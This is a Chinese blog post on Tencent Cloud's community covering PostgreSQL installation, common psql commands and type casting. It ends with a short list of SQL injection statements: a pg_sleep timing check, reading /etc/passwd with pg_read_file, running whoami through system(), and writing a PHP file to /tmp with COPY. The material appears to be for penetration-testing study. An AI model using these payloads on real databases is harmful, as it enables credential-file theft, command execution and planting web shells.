前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Postgresql数据库相关知识及注入

Postgresql数据库相关知识及注入

作者头像
Tommonkey
发布2023-02-27 20:35:20
6770
发布2023-02-27 20:35:20
举报
文章被收录于专栏:TommonkeyTommonkey

Postgresql是开源的,免费的,并且属于关系型数据库。他与mysql一样都依赖于 SQL(结构化查询语言)。

部署Postgresql

关于Postgresql的安装方式有三种,分别是:yum源安装,源码安装,二进制安装,这里为了方便,我选择的是源码安装。这是Postgresql源码包下载的官网:

代码语言:javascript
复制
https://www.postgresql.org/download/

Postgresql官网下载的页面提供了安装脚本(选择响应的版本),安装过程十分方便噢!在安装过程中默认安装会创建postgres 用户,,使用postgres用户,psql命令会直接进入数据库。

1-1
1-1
1-2
1-2
1-3
1-3

进入数据库看是否正常:

1-4
1-4

Postgresql常用命令与函数

代码语言:javascript
复制
psql -U post -d dbname -h host -W   	# 使用post用户登录到数据库名为:dbname,登录主机为host地址,-W表示是否输入密码  
CREATE USER testUser WITH PASSWORD '*';	# 创建用户  
GRANT ALL PRIVILEGES ON DATABASE test TO user;    				# 将数据库test授权给user,但此时用户还是没有读写权限,需要继续授权表  
GRANT ALL PRIVILEGES ON all tables in schema public TO user;  	# 授予读写权限   
ALTER ROLE pg SUPERUSER                 # 修改用户角色为超级管理员
CREATE/DROP ROLE name                   # 创建/删除 角色
\l						  				# 显示所有数据库  
\c dbname				  				# 使用某个数据库   
\du                                     # 用户列表	
\dt 					  				# 显示数据表  
\password post			  				# 为post用户添加密码  
\di						  				# 查看索引  
create\drop database dbname;  			# 创建\删除数据库     
alter table [表名A] rename to [表名B];  # 重命名数据表  
drop table [表名]; 						# 删除表   

其他的一些命令我就不写了,这里贴一张网上的资源:

1-5
1-5
CAST() 与 ::

CAST是用来进行数据类型格式转换,当传入的某些数值会与数据库字段类型不一致,就需要CAST来进行类型转换,如:

SELECT name FROM student WHERE id = cast(1003 as VARCHAR);

这里使用cast将1003整数型转化为VARCHAR字符串类型。 字段::也是用户类型转化的,如:

SELECT name FROM student WHERE id = 1002 :: VARCHAR;

表示的也是将1002整数型转换为VARCHAR字符型。

资源

这里贴上来自互联网上的关于该数据库注入有关的语句:

代码语言:javascript
复制
select CURRENT_SCHEMA()           #查看当前权限
select user                       #查看用户
select current_user               #查看当前用户
select chr(97)                    #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110)  #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version()                  #查看PostgreSQL数据库版本
SELECT current_database()         #查看当前数据库
select length('admin')            #查看长度
 
select case when(expr1) then result1 else result2 end;  #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
 
select pg_read_file("/etc/passwd");          #读取文件
select system("whoami");                     #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';   #写入文件

噢,这个数据库的注释是:--

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-282,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 部署Postgresql
  • Postgresql常用命令与函数
    • CAST() 与 ::
    • 资源
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档